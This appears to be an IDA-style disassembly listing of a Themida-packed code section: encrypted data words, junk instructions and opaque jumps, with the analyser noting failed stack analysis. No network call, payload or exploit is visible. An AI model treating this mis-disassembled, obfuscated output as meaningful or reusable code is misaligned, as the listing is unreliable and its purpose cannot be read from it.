31A80000h, 0BE54741Dh, 8B59B12Dh, 11B58B16h, 60F0C7F3h dd 0FD68B66h, 288h, 615B5600h, 0CDE480F8h, 66D88B66h, 0F7D89BAh dd 8051DFBFh, 0F587EEDh, 0B70FC6BFh, 0AE8D8h dd 4FC10000h, 84F299FFh, 23F0D2D9h, 7E960h, 87130000h dd 39A79DCBh, 6102B16Dh, 850F605Ah, 3, 0E9C28B66h, 8, 9FA3F2BEh dd 0A64BD1E0h, 630FBA61h, 0F9BB1E88h, 667B15F3h, 0E9B095BEh dd 14h, 33B286DCh, 0D838C9F3h, 0F5828F9Fh, 61272C6Ah, 4AE8B7ACh dd 0F8BF0F52h, 0D281665Eh, 0AE9FB36h, 24000000h, 862A2CBFh dd 4F01AF60h, 0BA66FC3Fh, 6657B5CDh, 0E95AF78Bh, 14h, 0D583ABD9h dd 2C8FE935h, 0F37D935Ah, 0E5601CD3h, 0DC9887CAh, 0F5F2B70Fh dd 3B0FBA66h, 9E9h, 0B07C9600h, 69740082h, 0DE807C9Eh dd 10E973h, 0FDCA0000h, 4E731876h, 4268E8E5h, 42106AA1h dd 8166E3B9h, 8B8D88E9h, 3D78B9D1h, 5F534247h, 7E8h, 61484900h dd 26A7348Fh, 0CE9h, 0F015D600h, 0F25F14ACh, 0B239C21Ah dd 8F0F5ADCh, 3, 0FEBCF80h, 0DA8BF8B7h, 0E4F78166h, 5ABA66FAh dd 97D88192h, 0F876FD08h, 8B0Fh, 0B9660000h, 816020A3h dd 92CCEDFh, 14E861h, 0C87A0000h, 0C530378Bh, 0D3D0A74Eh dd 66B47F2Bh, 0B514320Fh, 61608764h, 81666159h, 66DFD3D7h dd 667A46BFh, 0FA2BEBAh, 384h, 0C6B70F00h, 0FCFCAFB4h dd 8BC0B70Fh, 0E1C281F2h, 607AC284h, 0B16061F9h, 14E9536Dh dd 26000000h, 881C7B99h, 9D666292h, 5EED33D4h, 94C217E1h dd 58ADF5D7h, 0F93B661h, 8Eh, 11E900h, 6B460000h, 776120C9h dd 0FA0E471Fh, 74C576C0h, 0F80629Ch, 86h, 90E38100h, 661A70A3h dd 751BF081h, 0E8C0B70Fh, 8, 38582490h, 0FB874C1h, 118C0Fh dd 0BE80000h, 0E5000000h, 4E622A70h, 0C0E39E06h, 5A5B3979h dd 13E9F5h, 0B8680000h, 930AAF23h, 9F7F42Dh, 87F5D102h dd 250D7ECDh, 2830F1Bh, 8B000000h, 1EC180CBh, 68D0Fh, 0F8600000h dd 61F88B66h, 93D78166h, 0DF8BFC82h, 0CE8EBB2h, 0F3000000h dd 679A75Dh, 4FB07F47h, 53019E74h, 800F5E5Ah, 5, 0F3471EB9h dd 60F38B75h, 0A348B966h, 61D18B66h, 0B773F081h, 7EB466C4h dd 0B4EA8166h, 14E96081h, 0EF000000h, 30EAA87Fh, 29D1CDEh dd 0D60AD89Dh, 0DDE2EAA2h, 6680BED1h, 3577D181h, 16880F61h dd 51000000h, 0FE9h, 422E3A00h, 6EAEE137h, 0D6524546h dd 7C91323Ah, 78B2BB5Eh, 0BF0F3CD2h, 0B966F8F0h, 0B451F750h dd 0BF0F5BE9h, 0D98B66F9h, 17860Fh, 12E90000h, 0E2000000h dd 0B50245F6h, 8A98C502h, 0E5C804A5h, 855C3EE2h, 58B0F69h dd 0BB000000h, 2324596Dh, 4840Fh, 0B9660000h, 0C6815182h dd 1600F311h, 4CC08160h, 616AA24Dh, 4B1AF081h, 830F40B8h dd 7, 0EB816660h, 6061495Ch, 88FFB866h, 11E85761h, 69000000h dd 61DCB056h, 8FD8085Bh, 951A37A5h, 7DCE7ADDh, 0FFC5E5Ah dd 0C18AC3B7h, 82FCBB66h, 0BE66F38Bh, 10E978BFh, 6A000000h dd 8FAF0E62h, 0E71EC012h, 4286EC89h, 6610B81Fh, 0E990FCBBh dd 0Dh, 0DACA6649h, 50C2BBF0h, 0CCACC8B5h, 0A8BA6047h dd 616C5CF0h, 12E952h, 39E40000h, 0BA08FD7Ch, 3EC3D722h dd 2A080DB3h, 0E6DE3AEAh, 0ACEF805Ah, 4C18C181h, 0FE87326h dd 2B000000h, 0F0E02B4h, 3D43EB4Ah, 0FB97990Ah, 0BE99450h dd 0DF000000h, 9C59D852h, 75C87411h, 6658DE57h, 0EB68DF81h dd 0FC2BF0Fh, 8D0FCBBFh, 0Ch, 2CBF6660h, 840F2Ch, 61000000h dd 0EE9h, 0D673A000h, 41D68B99h, 2982FB59h, 0F96BA14h dd 0BF0FC1B7h, 7227B8F2h, 820F443Eh, 0 ; --------------------------------------------------------------------------- or dx, 0A65Eh jmp loc_60FBFE ; --------------------------------------------------------------------------- dw 40E2h dd 81EEE5FCh, 0C0F468AAh, 8BE200A0h, 0FFFD5D81h db 67h, 23h ; --------------------------------------------------------------------------- loc_60FBFE: ; CODE XREF: Themida_:0060FBE5j movsx ebx, bx mov edi, 7E55A503h jno $+6 stc adc si, 49E4h mov ax, bx movzx ecx, cx jl loc_60FC1F cld loc_60FC1F: ; CODE XREF: Themida_:0060FC18j jmp loc_60FC31 ; --------------------------------------------------------------------------- dd 14963CD5h, 0FE0E2389h, 0F3016B9Eh db 0B7h ; --------------------------------------------------------------------------- loc_60FC31: ; CODE XREF: Themida_:loc_60FC1Fj sub si, 7312h mov dx, 2B07h xor ebx, 65DBC6B8h mov eax, 53E46461h mov ecx, edx jmp loc_60FC58 ; --------------------------------------------------------------------------- inc esi lodsb xchg eax, edx mov esi, 0C37BA643h retn 4888h ; --------------------------------------------------------------------------- db 76h ; --------------------------------------------------------------------------- loc_60FC58: ; CODE XREF: Themida_:0060FC47j mov eax, ecx jmp loc_60FC6B ; --------------------------------------------------------------------------- db 66h dd 0E9375A58h, 0F01AB8B9h db 7Bh, 25h, 79h ; --------------------------------------------------------------------------- loc_60FC6B: ; CODE XREF: Themida_:0060FC5Aj cmc push edx mov si, 87Fh pop ecx sub ecx, 6B1CCB77h adc al, 78h mov dx, 9363h clc mov ebx, esi movsx eax, ax call sub_60FC9D dec esp ; --------------------------------------------------------------------------- db 0Fh dd 7C87AE38h, 0B97C9533h, 861363D5h, 7EEA76FFh db 8Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_60FC9D proc near ; CODE XREF: Themida_:0060FC85p jmp sub_60FCA8 sub_60FC9D endp ; --------------------------------------------------------------------------- dw 0E1E5h db 0CCh db 6Ah, 9Dh, 0F0h ; =============== S U B R O U T I N E ======================================= sub_60FCA8 proc near ; CODE XREF: sub_60FC9Dj pop ecx jmp loc_60FCBA ; --------------------------------------------------------------------------- sub eax, 9A623E90h add [ebx-7D8E9008h], ecx loc_60FCBA: ; CODE XREF: sub_60FCA8+1j mov edi, eax jmp loc_60FCD0 ; --------------------------------------------------------------------------- db 7Bh, 67h, 0AFh dd 30F16BEEh, 0CF0D58BFh, 92F42299h ; --------------------------------------------------------------------------- loc_60FCD0: ; CODE XREF: sub_60FCA8+14j mov eax, 1B01A932h jp loc_60FCE0 add ax, 70A0h ; CODE XREF: sub_60FCA8+8Aj loc_60FCE0: ; CODE XREF: sub_60FCA8+2Dj push edx movzx esi, cx pop ebx push edx pusha clc pusha popa popa pop ecx jp $+6 jmp loc_60FD05 ; --------------------------------------------------------------------------- mov [ecx-1E5BC937h], bh pop ebp sbb eax, 0BA075A08h xchg ecx, [eax] loc_60FD05: ; CODE XREF: sub_60FCA8+4Aj mov dh, 51h movsx edx, cx sbb ecx, 3BB78BFEh pusha push edi mov bl, 1Fh pop eax adc cl, 57h popa pusha cmc jmp loc_60FD2A ; --------------------------------------------------------------------------- dd 0B97DD1DAh, 0BAA6D074h ; --------------------------------------------------------------------------- ror ah, 1 loc_60FD2A: ; CODE XREF: sub_60FCA8+73j popa mov ah, ch call near ptr loc_60FD36+3 jnb short near ptr loc_60FCDB+1 sahf insd loc_60FD36: ; CODE XREF: sub_60FCA8+85p jmp far ptr 0D8F5h:1DBA8A83h sub_60FCA8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 15h, 5Bh, 53h dd 58D3B70Fh, 9E8h, 0C8837000h, 2A73B43Ah, 0DA8B57A3h dd 0E9C78B5Ah, 9, 5C8B6F52h, 5ECB640h, 81D6B408h, 75A13FD3h dd 80E78161h, 0F1A24F1h, 0E8FCF8B7h, 11h, 8ECC4560h, 6E4890A7h dd 3D968738h, 0FDCBA7FFh, 0CD5800Dh, 603AB259h, 0FE8h dd 0C27F0900h, 0CB8171ECh, 1D8558C7h, 83AE9C60h, 870Fh dd 0F590000h, 8Bh, 8B666100h, 11E8FAh, 10E90000h, 39F60E0Bh dd 2D1742CEh, 25D44F10h, 800B463Ch, 605E80DAh, 61FE8B66h dd 0A108B866h, 14E860h, 839D0000h, 0C9C1E27h, 0AD8A1062h dd 0D9B563B7h, 531F6381h, 615E2CFBh, 820F7DB1h, 5, 933E7EBBh dd 0BF0F6069h, 0DE8161F6h, 58828A72h, 14E9h, 0CBA14500h dd 1C4647A7h, 88801D65h, 0E0C55A16h, 78688E87h, 15860FC8h dd 0E8000000h, 0Ch, 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 5E1DC480h dd 0FDDBBB66h, 8E9h, 9C066C00h, 0B7AF6654h, 8F2CB875h dd 870F52A1h, 14h, 0FE9h, 0A1799800h, 43B27637h, 21409D3Ah dd 3E517F2Eh, 0CE9h, 0F4A12400h, 0BCD7C5EBh, 82BBB0CBh dd 9E9F869h, 86000000h, 1B4108FAh, 0F32EED43h, 68E0Fh dd 0D0810000h, 17C41038h, 0FE8h, 9237AD00h, 9A689087h dd 34913AFFh, 0E7A637D1h, 0DE8h, 34E69D00h, 0F13FBD4Ch dd 75DBDDBCh, 0BB6681F8h, 5E5AA648h, 5E8h, 93976100h, 81666C28h dd 58918FC9h, 0F5CF8B66h, 73E18166h, 28B0FD8h, 8A000000h dd 38B0FD4h, 0F000000h, 0EA81D3BFh, 61DCA355h, 178C0Fh dd 12E90000h, 3A000000h, 0B26D96B7h, 39AB7FE8h, 0F73102A9h dd 1687B83Ch, 817DB5EFh, 37929F0h, 0BF0FFC4Ah, 94D781D8h dd 0E8523E76h, 0Ch, 8CA7C70h, 8F597D31h, 48635C1Ch, 0F585160h dd 87h, 0F596100h, 8E0FF8B7h, 0Bh, 58A0Fh, 81660000h, 0E9856AC0h dd 0Eh, 0F4D90E84h, 0C45685C3h, 0F9BF1714h, 0E880015Fh dd 188D0F8Eh, 0E9000000h, 13h, 0E80600E4h, 62301E73h, 1A79134Ch dd 7A02A887h, 8139009Dh, 2B47FDD3h, 0B70F5174h, 7E95FD6h dd 3C000000h, 0DA9BD425h, 0D6818347h, 59BDD51Ah, 820FC88Bh dd 0 dd 83DFD981h, 0EE801F4h, 0C8000000h, 78E59EB0h, 40A765Fh dd 57CEB407h, 10E9B1h, 99960000h, 8D8DBFCBh, 5C3139E3h dd 470B2766h, 8B5F6F2Ah, 3B660FEh, 0DA6C91BEh, 0DD806119h dd 0C78B66A7h, 0DB8166F8h, 0BF0FC122h, 8BDF8BC0h, 0E950B6D1h dd 0Bh, 0B095CFB9h, 8EA53405h, 0E957DC5Eh, 14h, 34AB4C9Ah dd 9E1FF8F3h, 0E8DF6CDAh, 0CA353CA2h, 841F3E77h, 6059F853h dd 0CAC68160h, 817ACFD5h, 51A8DDEFh, 10E86160h, 0AE000000h dd 76A784B0h, 2AA04AA2h, 1D58EFB2h, 0F8ECAFD5h, 8C0F615Ah dd 2, 8166DF8Bh, 8BA39FE7h, 3800FC8h, 80000000h, 830F61EEh dd 3, 60F7D580h, 0C1C0A7B9h, 0F281667Eh, 666193F2h, 41C4EB81h dd 0F4BCC80h, 0BFFCD3BFh, 134F0C9Ch, 27B6BE66h, 0B870F57h dd 0E9000000h, 6, 547760BEh, 0F5BDE53h, 28Eh, 66C38A00h dd 8166F28Bh, 0E98D53F0h, 0Dh, 9335F770h, 0A5D607C6h, 82013818h dd 0D88166E7h, 0B70F5AECh, 0BBBBB6DEh, 12370D6Dh, 61605051h dd 12E95E5Fh, 0FF000000h, 0D4DDB787h, 0DF4618F3h, 0CA480CC2h dd 2865B9ECh, 8F0F503Eh, 2, 0E95FFE8Bh, 13h, 987C3E82h dd 6541EABBh, 2B5A5460h, 379AB084h, 60A480A9h, 0F7DCB866h dd 13E9h, 90A9E700h, 0F572C3Ah, 0C43CC39Dh, 6C2C298Ah dd 845E4669h, 0B70F6061h, 0CCB866F3h, 0CCB9616Bh, 0BF7A3D4Fh dd 9AF5B0Dh, 0BE9h, 8EC57000h, 1DC0A7BEh, 92EF8CCDh, 9EC98166h dd 0FBBF0F87h, 57C7B70Fh, 12E9h, 0E7A7AB00h, 0BB54DF48h dd 8211E256h, 42089557h, 58536401h, 8BD18B66h, 0E08166CFh dd 55B3C4B8h, 6E8h, 760E8B00h, 0F56996Bh, 283h, 59595000h dd 9E8h, 6416BA00h, 42912EEh, 890F4B5Ch, 0 ; --------------------------------------------------------------------------- pop edx movsx eax, di mov edx, ecx cmc jmp loc_6101D4 ; --------------------------------------------------------------------------- pop ebp mov ebp, edx mov cl, 18h movsb adc esi, ecx sub [edx], cl xchg al, [eax+30h] push esp sub bh, dh or byte ptr [esi+66h], 0F1h loc_6101D4: ; CODE XREF: Themida_:006101BBj push eax pop ecx jnp loc_6101EC jmp loc_6101EC ; --------------------------------------------------------------------------- db 38h, 9Fh, 2Fh dd 0FF405BD9h, 5C193340h ; --------------------------------------------------------------------------- loc_6101EC: ; CODE XREF: Themida_:006101D6j ; Themida_:006101DCj movzx edx, ax mov ax, 0D6EFh jbe loc_6101FF sub ebx, 2BD33D61h loc_6101FF: ; CODE XREF: Themida_:006101F3j call near ptr loc_61020B+1 mov dl, 0DEh out dx, al movsb sbb [edi-38h], ebp loc_61020B: ; CODE XREF: Themida_:loc_6101FFp out 81h, al ; DMA page register 74LS612: ; Channel 2 (diskette DMA) (address bits 16-23) out dx, eax cdq jz short near ptr dword_60FFB4+1E8h sbb [edx-80h], bl rep imul esp, [esi-75h], 0FD98BF8h mov bh, 0C8h mov ch, bl mov al, 19h mov edi, 0C9391E3h call near ptr loc_610237+5 lock inc edx fnstenv byte ptr [eax] push edi xor eax, [esi-666BA3E1h] loc_610237: ; CODE XREF: Themida_:00610227p sub [ecx+0FB60D49h], edx mov word ptr [ebx], es ; --------------------------------------------------------------------------- db 0 dd 0EB800000h, 8AFC59E5h, 5EFC51D5h, 66F0B70Fh, 0F5D4BBFh dd 188h, 8BB8F500h, 0F7F6FD0h, 82h, 7E800h, 10EE0000h dd 0A2048746h, 0F0816640h, 0E95FEC07h, 5, 0C2F707DDh, 0DABF0FB4h dd 8166D88Bh, 6040F6D9h, 8B0F60h, 66000000h, 9DD1C381h dd 0BAB35361h, 0CE8B6158h, 4880Fh, 0B9660000h, 0F3801F02h dd 4800F24h, 50000000h, 6659DE8Ah, 0F7E33B9h, 0D8Ch, 5E85200h dd 0CB000000h, 0BB424A74h, 800F5E5Eh, 0Dh, 8E9h, 146D7800h dd 0C215D8DEh, 0FFA8B1Ah, 0B87h, 5850F00h, 66000000h, 0B939C381h dd 9C4232BAh, 7CD18104h, 663C4AD1h, 890FF28Bh, 1, 6CC280F5h dd 6DA6BE66h, 0CE9D78Bh, 6A000000h, 93998E26h, 995C92AAh dd 0FF2B8E1h, 178Fh, 12E900h, 0E7620000h, 25FD735Dh, 0E644128Bh dd 0D70167CDh, 7BFE3558h, 1820Fh, 8BF90000h, 7E9F0h, 0EBD20000h dd 0C2AD972Bh, 0C6F181C2h, 0F34065Ch, 46B3F7B7h, 8171F180h dd 8C71E4C9h, 4DF38007h, 3485BE66h, 12E9h, 2B2E5500h, 786E8808h dd 4149BD9Eh, 5BDB5BCAh, 0E96BE1EAh, 0Bh, 0C2231D46h, 0C22737A8h dd 0B1A7A984h, 0BFDE8BC3h, 2BE4695Dh, 2820Fh, 9CB40000h dd 7BBA66FCh, 0FE821h, 87850000h, 0CA86A4DDh, 0CF8E44FAh dd 0DF98E090h, 5AF78A24h, 0FDEB70Fh, 388h, 0EFE28000h dd 5AD78B51h, 60C7C480h, 12E960h, 44E60000h, 0B8F2256Ah dd 846F05EDh, 0BDDA4904h, 0AF79EE2Dh, 0B70F6161h, 0B6B5FCC3h dd 0C69FF281h, 0BDBE477Dh, 0E95030FAh, 6, 0E0FD647Bh, 880FA44Fh dd 4, 585E5356h, 0DE8h, 0B570D600h, 8B3C58E8h, 62A5A04Bh dd 14E9422Fh, 11000000h, 864EE295h, 941881CCh, 4011D0D5h dd 0A7ADBA15h, 5B8FCB49h, 0BE9h, 3A8F4700h, 63842C01h dd 0FE2723B0h, 0E8C1B70Fh, 0Bh, 0F8024625h, 0F426D0F4h dd 0F98AC176h, 0FEB70F5Ah, 12E9h, 0B824F000h, 0C331B65Fh dd 88D96AF0h, 0CE791F89h, 0FAAFE82h, 81F5D2B7h, 95E234DAh dd 0D38B6006h, 6980B966h, 6DB96661h, 0CE92Ah, 28BD0000h dd 74FB3B66h, 2D0DF6BAh, 9E944BEh, 0D4000000h, 56757118h dd 9719FC34h, 0DA5FD6B8h, 9EDA811Eh, 664A6ABCh, 523895B9h dd 5951DA80h, 16C9E981h, 11E90C58h, 0DF000000h, 8EA3D368h dd 0AAB9AACh, 1461FF27h, 0FB6429B2h, 0C0F435B9h, 11E81Bh dd 94AB0000h, 0A47C0A5Eh, 7C932BC7h, 5D78039Fh, 5950E32Eh dd 14E8h, 13509000h, 0D2085FDh, 59C8B827h, 31C646Ch, 23DDD4E7h dd 0CFB70F02h, 0BB66605Fh, 0EB81135Fh, 4A3E24A9h, 9E961h dd 0A7F60000h, 59A86408h, 8159090Ch, 7CFC89DEh, 0E7816625h dd 0F60BC57h, 61F9FFB7h, 0B7D38B66h, 0FAB70F7Bh, 7E8EEB7h dd 6000000h, 3FD52D9Ah, 4FBEB299h, 5B14C4A4h, 0B6CEDA81h dd 0C18B6058h, 0E351E381h, 0E9605924h, 0Fh, 8938D086h dd 34E9786Fh, 0ACC55E69h, 0E9D30C1Bh, 14h, 0F5B5E47h, 0E4DF58D1h dd 0E1163113h, 935437DFh, 0AA59DEF7h, 1820F61h, 0F5000000h dd 0B966D38Bh, 8166A6E7h, 0F6EF4E1h, 11E9F2BFh, 0B8000000h dd 0CF8F0267h, 0AC06FC8Bh, 1D255752h, 94F673C0h, 0C40B1BBAh dd 8B66603Ch, 99E081F1h, 612A91F4h, 59DA8B56h, 40C28166h dd 16890F14h, 0E8000000h, 10h, 3B41A81Ch, 7AFA481Ch, 6FA38225h dd 7595E2B2h, 14E959h, 36B90000h, 2A40C054h, 108923D2h dd 63B0236Bh, 0A8AC643Ch, 815657F1h, 0D0C79ED9h, 0C6805804h dd 38A0FB5h, 80000000h, 36B0ABDBh, 3CF68166h, 18E0F71h dd 0F5000000h, 5BE6B356h, 657F81BAh, 38C0F2Ch, 66000000h dd 870FDF8Bh, 0 ; --------------------------------------------------------------------------- xor cx, 0EADEh or ecx, 56AD324Fh mov edi, eax jz loc_61066D mov eax, edi loc_61066D: ; CODE XREF: Themida_:00610665j mov bl, 6Ah mov edx, ebx push edi adc bx, 6271h pop edi mov eax, 78E9AF1h jz loc_610686 movsx ebx, cx loc_610686: ; CODE XREF: Themida_:0061067Dj jmp loc_61069E ; --------------------------------------------------------------------------- db 0B4h dd 0CC9F5F17h, 0F4BE5DC8h, 75D697CEh, 0C59AAE95h db 20h, 4Dh ; --------------------------------------------------------------------------- loc_61069E: ; CODE XREF: Themida_:loc_610686j mov ah, 45h clc jmp loc_6106AB ; --------------------------------------------------------------------------- xor eax, 0D6A6F456h loc_6106AB: ; CODE XREF: Themida_:006106A1j movzx ecx, bx mov si, bx call sub_6106BE mov esp, [eax-7CAEF51Bh] sti cld ; =============== S U B R O U T I N E ======================================= sub_6106BE proc near ; CODE XREF: Themida_:006106B1p jl loc_6106C9 adc di, 10B8h loc_6106C9: ; CODE XREF: sub_6106BEj pop edi movsx edx, cx movsx eax, bx mov ah, 0DCh jge $+6 push edx mov ecx, 1CCF33EEh pop eax jmp loc_6106F8 ; --------------------------------------------------------------------------- dd 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 49398B3Ah, 98E6A9E5h ; --------------------------------------------------------------------------- loc_6106F8: ; CODE XREF: sub_6106BE+21j jmp loc_610705 ; --------------------------------------------------------------------------- db 2Eh, 29h, 0E8h dd 0FF98F5Ch db 8Fh ; --------------------------------------------------------------------------- loc_610705: ; CODE XREF: sub_6106BE:loc_6106F8j movzx edx, bx cld sub esi, 451BDCE3h pusha mov esi, 53AB97DAh sub edx, 33552BF1h popa call near ptr loc_610729+1 push edx dec edi xchg dh, bl mov dl, 3Eh sub al, 9Bh loc_610729: ; CODE XREF: sub_6106BE+5Ep repne stc sub_6106BE endp ; sp-analysis failed pop esi push edi jmp loc_610742 ; --------------------------------------------------------------------------- dw 0A39Bh dd 0DFB23A56h, 0BE261A9Eh, 7CA9AB8Fh db 0CDh, 15h ; --------------------------------------------------------------------------- loc_610742: ; CODE XREF: Themida_:0061072Dj pop eax sub dl, 8Fh jno loc_61074E mov dl, bl loc_61074E: ; CODE XREF: Themida_:00610746j xor edx, 6122745Ah jle loc_61075C mov edi, ebx loc_61075C: ; CODE XREF: Themida_:00610754j jmp loc_610770 ; --------------------------------------------------------------------------- db 2 dup(4Eh), 1Ah dd 5E6486B6h, 0AAC6ACDAh, 655D3937h ; --------------------------------------------------------------------------- loc_610770: ; CODE XREF: Themida_:loc_61075Cj pusha movzx ebx, si mov eax, ebx popa mov dl, ch mov al, 0B1h movsx edi, ax xor si, 0C600h pusha or esi, 4A56CEEEh adc di, 9323h popa movzx esi, cx jmp loc_61079E ; --------------------------------------------------------------------------- dd 0FD0CED49h ; --------------------------------------------------------------------------- sbb [eax], ah loc_61079E: ; CODE XREF: Themida_:00610793j call sub_6107AC daa sbb [eax-510F5852h], ebx ; --------------------------------------------------------------------------- dw 1B8Fh ; =============== S U B R O U T I N E ======================================= sub_6107AC proc near ; CODE XREF: Themida_:loc_61079Ep mov esi, 61B21966h pop ebx mov edx, 8AEA553h mov esi, ecx mov al, 30h cld call sub_6107D3 pushf and eax, 23684FF4h pop edi or ebx, [edi] mov ebp, [esi+edx*2] popf les edx, [ebp+3Fh] sbb eax, eax sub_6107AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6107D3 proc near ; CODE XREF: sub_6107AC+10p push esi cld pop eax pop ebx xor si, 23AEh call sub_6107EE into ror dword ptr [ecx+24DE4860h], cl pop esi sbb ah, [esi-7Bh] sbb eax, [edi] sub_6107D3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6107EE proc near ; CODE XREF: sub_6107D3+9p ; FUNCTION CHUNK AT 006108D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 006108ED SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00610924 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00610964 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0061098C SIZE 0000000D BYTES pop edi mov edx, ebx jmp loc_61080A ; --------------------------------------------------------------------------- dw 97A5h dd 0FD928577h, 28A0F4Eh, 364C9794h, 390D4AC1h db 2Bh, 9Dh ; --------------------------------------------------------------------------- loc_61080A: ; CODE XREF: sub_6107EE+3j mov esi, 701D2C99h jmp loc_610828 ; --------------------------------------------------------------------------- dd 84A02498h, 6437EF17h, 0B12CFC39h, 555DA92Ah, 4383995Eh ; --------------------------------------------------------------------------- loc_610828: ; CODE XREF: sub_6107EE+21j pusha mov esi, edx popa adc ax, 6C8h mov si, 6320h adc dh, 5Ch mov ebx, edx and ah, 0E5h jns loc_610847 push eax mov ch, 0C7h pop esi loc_610847: ; CODE XREF: sub_6107EE+4Fj jmp loc_610851 ; --------------------------------------------------------------------------- dd 0A97FF60Ch db 18h ; --------------------------------------------------------------------------- loc_610851: ; CODE XREF: sub_6107EE:loc_610847j jle loc_61086B jmp loc_61086B ; --------------------------------------------------------------------------- adc al, 7Dh sahf test al, 83h rcr byte ptr [ecx+74h], 30h clc xor dl, [edi-7Bh] mov dl, 0B0h loc_61086B: ; CODE XREF: sub_6107EE:loc_610851j ; sub_6107EE+69j mov di, 0FC2Ah pusha or edx, 7E316C88h movzx edx, ax popa mov dx, ax xor ecx, 191C40ADh mov eax, edx adc di, 397Bh mov di, cx sbb ah, 0A2h js $+6 or bl, 5Ah jz loc_6108A1 mov edi, esi loc_6108A1: ; CODE XREF: sub_6107EE+ABj and esi, 10E8E79h mov ch, 0BEh jp loc_6108D5 call near ptr loc_6108BB+2 enter 0D85h, 0BAh cmc xchg eax, edx dec ebp loc_6108BB: ; CODE XREF: sub_6107EE+C1p sub bh, large ds:12E9h sub_6107EE endp ; sp-analysis failed add [esi+ebx*8], bh jo short loc_610913 nop push ds aaa dec ebp jge short near ptr loc_610927+2 shl dword ptr [edi+308C602Dh], 0C0h or al, 5Ah ; START OF FUNCTION CHUNK FOR sub_6107EE loc_6108D5: ; CODE XREF: sub_6107EE+BBj jmp loc_6108ED ; END OF FUNCTION CHUNK FOR sub_6107EE ; --------------------------------------------------------------------------- dw 5DB3h dd 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah db 22h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_6107EE loc_6108ED: ; CODE XREF: sub_6107EE:loc_6108D5j movzx eax, cx jle loc_6108F8 mov edi, ebx loc_6108F8: ; CODE XREF: sub_6107EE+102j push edi mov di, cx pop esi adc si, 8D58h add esi, 30DDF4D0h movsx ecx, ax clc mov si, cx stc mov cx, bx loc_610913: ; CODE XREF: Themida_:006108C4j pusha jmp loc_610924 ; END OF FUNCTION CHUNK FOR sub_6107EE ; --------------------------------------------------------------------------- db 97h, 0BEh, 0Eh ; --------------------------------------------------------------------------- xor ecx, [edi-513A22Ah] push ss movsb ; START OF FUNCTION CHUNK FOR sub_6107EE loc_610924: ; CODE XREF: sub_6107EE+126j cmc popa pusha loc_610927: ; CODE XREF: Themida_:006108CAj jnp loc_610932 mov ecx, 0A501D9Ch loc_610932: ; CODE XREF: sub_6107EE:loc_610927j movsx edi, ax popa sub edi, 5C3F4EE4h sbb dl, 0A6h mov cx, bx jb loc_61094E jle $+6 loc_61094E: ; CODE XREF: sub_6107EE+154j mov bx, si jmp loc_610964 ; END OF FUNCTION CHUNK FOR sub_6107EE ; --------------------------------------------------------------------------- sub eax, 2B776E2h mov edi, 384D287Ah sbb al, 97h db 64h cdq ; START OF FUNCTION CHUNK FOR sub_6107EE loc_610964: ; CODE XREF: sub_6107EE+163j jge loc_61096E pusha pusha popa popa loc_61096E: ; CODE XREF: sub_6107EE:loc_610964j mov dl, ah mov bh, 67h add dx, 9234h ; CODE XREF: sub_6107EE+1A5j movzx edi, cx cmc movzx eax, si pusha jmp loc_61098C ; CODE XREF: sub_6107EE+1A8j ; END OF FUNCTION CHUNK FOR sub_6107EE ; --------------------------------------------------------------------------- dd 15DD7E1Dh, 3DC52935h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_6107EE loc_61098C: ; CODE XREF: sub_6107EE+191j call near ptr loc_610996+1 scasd cwde jz short near ptr loc_610972+4 dec ebp loc_610996: ; CODE XREF: sub_6107EE:loc_61098Cp ja short near ptr loc_61097F+2 push cs ; END OF FUNCTION CHUNK FOR sub_6107EE ; --------------------------------------------------------------------------- db 3 dup(0) dd 0EC70B744h, 55745CFFh, 0CAF145EFh, 615EBD6Bh, 666060F9h dd 6661F08Bh, 0E861D88Bh, 11h, 0CECC0538h, 0DF2183Fh, 0F64A5071h dd 0BE71531Dh, 10E9A0h, 0EC7A0000h, 0DEC0D249h, 8D120AACh dd 8F3662C2h, 665B0CB3h, 0BF0FC18Bh, 839DBBC3h, 7E841BEh dd 37000000h, 9D4F4F91h, 5EF52783h, 1F0CE381h, 8B66622Fh dd 12E9CFh, 0F4E0000h, 9794028Ah, 4AC1364Ch, 9D2B390Dh dd 0D9941C47h, 11E9h, 7FE56F00h, 7AA6108Eh, 3622D379h dd 747D1A4Fh, 860F7CF4h, 0Eh, 820F60h, 81000000h, 0BB4375DEh dd 0F526110h, 0E95EFFBFh, 0Eh, 0A85B4148h, 0D9DC8896h dd 0EC2771FAh, 0F3819C64h, 3F4771EAh, 66D2BF0Fh, 666372BEh dd 89BAFB8Bh, 0F7017D3h, 1784h, 118D0F00h, 0E9000000h dd 0Ch, 953C0222h, 5185D46Fh, 152109C4h, 0D346C681h, 0FE91B76h dd 0B4000000h, 328FCFD3h, 0A3728794h, 0B510931Fh, 0F2813588h dd 5AD01EC5h, 840Fh, 0B9660000h, 0FB9E089h, 8B0BE8C0h dd 0F38166C1h, 5E95901h, 0A0000000h, 42FF32D0h, 84DE8166h dd 0FBF66C4h, 0C8BF0FC9h, 5E952h, 0DBA90000h, 5FF63721h dd 4800Fh, 0BB660000h, 8D0F5F47h, 8, 0D940B860h, 61FC0E7Bh dd 0DE860h, 7D270000h, 923BCFBFh, 135FD03h, 0E92D9295h dd 0Ah, 0E5C521D9h, 91B9001Dh, 0F559A739h, 0AE961h, 0C9680000h dd 0F2F51A17h, 0C5C0BFE8h, 8BF9B70Fh, 66BDB6FAh, 5F7CDF81h dd 0E838C380h, 0Dh, 42AA63F6h, 289700DBh, 3453160h, 0BE99Eh dd 0D1A90000h, 881B38D2h, 0BCFAD22Bh, 66F95A1Ch, 8A80E6BAh dd 14E9F4h, 9B7C0000h, 0DAC0EE22h, 8B8BFC7Eh, 41B53B88h dd 0DC6D70BEh, 0B866220Ch, 7BB30CF3h, 0FD08B66h, 386h dd 0D8BF0F00h, 0B9665952h, 75B9A263h, 0B11C1008h, 8ADC8A7Bh dd 605EB5C2h, 66F3BF0Fh, 4D99CB81h, 66EA8A61h, 